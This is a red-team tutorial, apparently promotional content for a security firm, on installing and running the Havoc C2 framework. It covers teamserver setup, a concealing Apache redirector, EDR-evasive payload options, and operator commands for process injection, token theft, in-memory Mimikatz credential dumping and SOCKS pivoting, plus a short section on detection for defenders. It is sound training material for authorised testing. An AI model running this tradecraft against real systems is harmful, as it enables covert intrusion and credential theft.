Havoc C2 Framework: A Red Teamer's Complete Guide

Command and control frameworks have evolved significantly as EDR vendors have gotten better at detecting the signatures and behaviors of older, more widely fingerprinted tools. Havoc has emerged as one of the more capable modern C2 frameworks, built with modern evasion techniques baked in from the start rather than bolted on afterward, including sleep obfuscation, indirect syscalls, and a modular payload architecture that makes it far more adaptable during real engagements.

This guide covers installing and configuring Havoc, setting up listeners and generating payloads, core operator commands, and the tradecraft considerations that separate a functional lab demo from an operationally sound red team engagement. The red team at www.sagefoxusa.com treats framework selection like this as part of engagement planning, not an afterthought, since the tooling directly shapes how realistic a detection test ends up being.

What Makes Havoc Different From Older C2 Frameworks

Havoc was built specifically with modern detection evasion in mind. Its core demon payload supports sleep obfuscation techniques that hide the beacon's memory footprint during idle periods, indirect syscall execution that bypasses userland API hooking commonly used by EDR products, and a modular design that lets operators write custom modules without modifying the core framework.

The framework uses a client-server architecture, where a central teamserver manages listeners and payload generation, while operators connect through a separate client application, allowing multiple team members to collaborate on the same engagement infrastructure simultaneously.

Installing Havoc's Teamserver

Prerequisites

Havoc requires Go, along with several build dependencies for compiling the payload stagers.

bash

sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev

Cloning and Building the Framework

bash

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

bash

make ts-build

This compiles the teamserver component. Building can take several minutes depending on hardware, since it compiles the C2 core along with its cryptographic and networking dependencies.

Building the Client

bash

make client-build

Configuring the Teamserver Profile

Havoc uses YAML-based profile files to define operator accounts and teamserver behavior, giving you control over authentication and listener defaults before the server starts accepting connections.

yaml

Teamserver:
 Host: 0.0.0.0
 Port: 40056

Operators:
 - Name: redteam_lead
   Password: ChangeThisPassword123!

Listeners:
 Http:
   Hosts: ["0.0.0.0"]
   HostBind: 0.0.0.0
   HostRotation: round-robin

Save this as profiles/sagefox_engagement.yaml and adjust the operator credentials before starting the server, since these credentials control access to the entire C2 infrastructure for the engagement.

Starting the Teamserver

bash

sudo ./havoc server --profile ./profiles/sagefox_engagement.yaml -v

The -v flag enables verbose logging, useful during initial setup to confirm listeners bind correctly and operators can authenticate without issues before moving into a live engagement.

Connecting the Havoc Client

From your operator workstation, launch the client and connect to the teamserver using the credentials configured in the profile.

bash

./havoc client

Enter the teamserver's IP address, port, and the operator credentials configured earlier. Once connected, the client's graphical interface provides access to listener management, payload generation, and the session interaction console.

Setting Up Listeners

HTTP/HTTPS Listener Configuration

From the client interface, navigate to Listeners and create a new HTTP listener. Key configuration fields include the host header the listener expects, the URI paths the demon will use for check-ins, and the user agent string presented in beacon traffic.

Configuring a realistic User-Agent string and plausible URI paths that mimic legitimate web traffic, rather than leaving obvious default values, is a basic but frequently overlooked step that significantly affects how quickly network defenders identify the C2 channel.

Configuring Domain Fronting or Redirectors

For engagements requiring infrastructure resilience against IP-based blocking, placing a redirector in front of the teamserver is standard practice rather than exposing the teamserver's IP directly to the target environment. This kind of infrastructure hardening is baked into how www.sagefoxusa.com stands up C2 for every red team engagement, regardless of expected duration.

bash

sudo apt install apache2
sudo a2enmod proxy proxy_http rewrite

Configuring Apache as a reverse proxy that forwards legitimate-looking traffic patterns to the teamserver while returning generic content or errors for anything that does not match expected beacon traffic patterns adds a meaningful layer of operational security between the target network and your actual C2 infrastructure.

apache

<VirtualHost *:443>
   ServerName cdn.sagefox-redirector.com
   ProxyPreserveHost On
   ProxyPass /api/v1/status http://teamserver-ip:8080/
   ProxyPassReverse /api/v1/status http://teamserver-ip:8080/
   ProxyPass / http://legitimate-decoy-site.com/
   ProxyPassReverse / http://legitimate-decoy-site.com/
</VirtualHost>

This configuration only forwards traffic matching the expected beacon URI path to the actual teamserver, while any other request gets proxied to an unrelated decoy site, making casual inspection of the redirector far less likely to reveal the actual C2 infrastructure behind it.

Generating Payloads

Creating a Basic Demon Payload

From the client's payload generation menu, select the target listener, choose the payload format (executable, DLL, shellcode, or service binary), and configure sleep timing and jitter values.

Setting realistic sleep intervals, typically between 30 and 120 seconds with meaningful jitter percentages, rather than aggressive short beacon intervals, reduces the network traffic footprint significantly and makes the beacon pattern far less anomalous against a baseline of normal traffic.

Enabling Sleep Obfuscation

Havoc's sleep obfuscation feature encrypts the beacon's memory during its sleep cycle, defeating memory scanning techniques that many modern EDR products use to detect C2 implants sitting idle in memory between check-ins. Enable this option during payload generation rather than leaving it at default settings, since this single feature accounts for a significant portion of Havoc's improved evasion compared to older frameworks.

Choosing Indirect Syscalls

Configure the payload to use indirect syscalls rather than direct WinAPI calls where the option is available. This routes sensitive operations like process injection and memory allocation through legitimate syscall stubs rather than hooked userland APIs, bypassing a significant category of EDR detection that relies on API hooking.

Core Operator Commands

Once a demon check-in is established on a target host, the operator console provides a range of commands for interaction and post-exploitation.

Basic Situational Awareness

text

whoami

text

sysinfo

These provide immediate context on the compromised host's user context, domain membership, and system information, forming the baseline for deciding next steps in the engagement.

Process Injection

text

inject 1337 x64

This injects the demon's shellcode into the specified process ID, useful for migrating out of an initial payload process into a more stable or higher-privileged host process for continued operations.

Token Manipulation

text

token steal 4521

Stealing an access token from another process running under a different user context allows the operator to perform subsequent actions under that user's privileges without needing their credentials directly, a common technique for privilege escalation on Windows hosts.

Executing Additional Modules

text

mimikatz sekurlsa::logonpasswords

Havoc's modular design allows loading credential access modules like Mimikatz's functionality directly into memory rather than dropping the binary to disk, reducing the artifact footprint left on the compromised host during credential harvesting operations.

Lateral Movement Through Named Pipes

text

jobs

text

socks start 1080

Starting a SOCKS proxy through the compromised host allows the operator to pivot additional tools, such as further reconnaissance scanners or lateral movement frameworks, through the compromised network segment without needing to drop additional binaries on the target itself.

Post-Exploitation Tradecraft Considerations

Avoiding Noisy Default Behaviors

Many detection signatures target default configurations of popular C2 frameworks specifically, since operators frequently skip customizing settings that do not affect functionality but do affect detectability. Changing default pipe names, named mutex values, and process injection techniques away from documented defaults meaningfully reduces the chance of signature-based detection during an engagement.

Cleaning Up Artifacts

text

rm C:\Users\Public\staged_payload.exe

Removing staged payloads, temporary files, and any dropped tooling after use, rather than leaving them on disk for the remainder of the engagement, reflects the operational discipline expected in a professional red team assessment and reduces unnecessary residual risk to the client environment.

Session Handoff and Documentation

Throughout the engagement, documenting each command executed, its purpose, and its output supports accurate reporting afterward. Havoc's logging captures operator command history automatically, but supplementing this with manual notes on the reasoning behind each action, particularly for privilege escalation and lateral movement decisions, produces a far more useful final report than raw command logs alone.

Detection Considerations for Defenders

Organizations running detection engineering exercises against Havoc-style tradecraft should focus on behavioral indicators rather than static signatures, since a properly configured Havoc deployment with customized defaults and obfuscation enabled will evade most signature-based detection entirely.

Key behavioral indicators worth monitoring include unusual process injection patterns targeting legitimate system processes, beacon-like periodic outbound connections with consistent jitter patterns even when disguised as normal web traffic, and unexpected SOCKS proxy or pivoting activity originating from endpoint workstations that should not normally initiate that kind of traffic.

The red team at www.sagefoxusa.com routinely uses frameworks like Havoc specifically to test whether a client's detection stack can identify this class of modern, evasion-focused tradecraft, since testing against outdated or easily signatured tooling gives an inaccurate picture of actual detection capability.

Common Setup Mistakes to Avoid

Exposing the Teamserver Directly to the Target Network

Running the teamserver without a redirector in front of it means a single IP block or firewall rule from the target's defenders shuts down the entire engagement's C2 infrastructure. Always deploy behind a redirector for anything beyond a quick internal lab test.

Using Default Listener Configuration Values

Leaving default URI paths, user agents, and beacon intervals unchanged makes the C2 traffic trivially identifiable to any defender with basic familiarity with the framework's public documentation and default configuration files.

Skipping Sleep Obfuscation for Convenience

Disabling sleep obfuscation to simplify debugging during payload development, and then forgetting to re-enable it before deploying against the actual target environment, is a surprisingly common operational mistake that significantly weakens the engagement's evasion posture.

Not Testing Payloads Against Representative EDR Before Deployment

Testing a generated payload against a lab environment running the same EDR product the target organization uses, when that information is available through the scoping process, catches detection issues before they burn an engagement's initial access opportunity.

Best Practices for Havoc-Based Red Team Engagements

• Always deploy the teamserver behind a redirector rather than exposing it directly, regardless of engagement duration
• Customize listener defaults, including user agents, URI paths, and beacon jitter, before generating any payload intended for actual deployment
• Enable sleep obfuscation and indirect syscalls as standard practice, not just for engagements where evasion is explicitly the focus
• Document every operator action with reasoning, not just command output, to support a thorough final engagement report
• Clean up all dropped artifacts and staged payloads before closing out an engagement, leaving the target environment in the condition agreed upon in the rules of engagement

Teams looking for more detail on how this kind of engagement is scoped and run can find additional resources at www.sagefoxusa.com.

Key Takeaways

Havoc represents a meaningful step forward in open source C2 framework capability, built around modern evasion techniques like sleep obfuscation and indirect syscalls that older, more heavily signatured frameworks lack natively. Getting real value from it during an engagement requires more than just standing up the teamserver and generating a default payload. Proper redirector infrastructure, customized listener configuration, and disciplined operator tradecraft are what separate a demonstration in a lab from a realistic test of an organization's actual detection and response capability.

If your organization wants to know whether your security team can actually detect and respond to modern, evasion-focused adversary tradecraft rather than just the tooling from several years ago, www.sagefoxusa.com uses current frameworks like Havoc to deliver a realistic assessment of your detection stack, along with clear guidance on closing the gaps that let this kind of activity go unnoticed.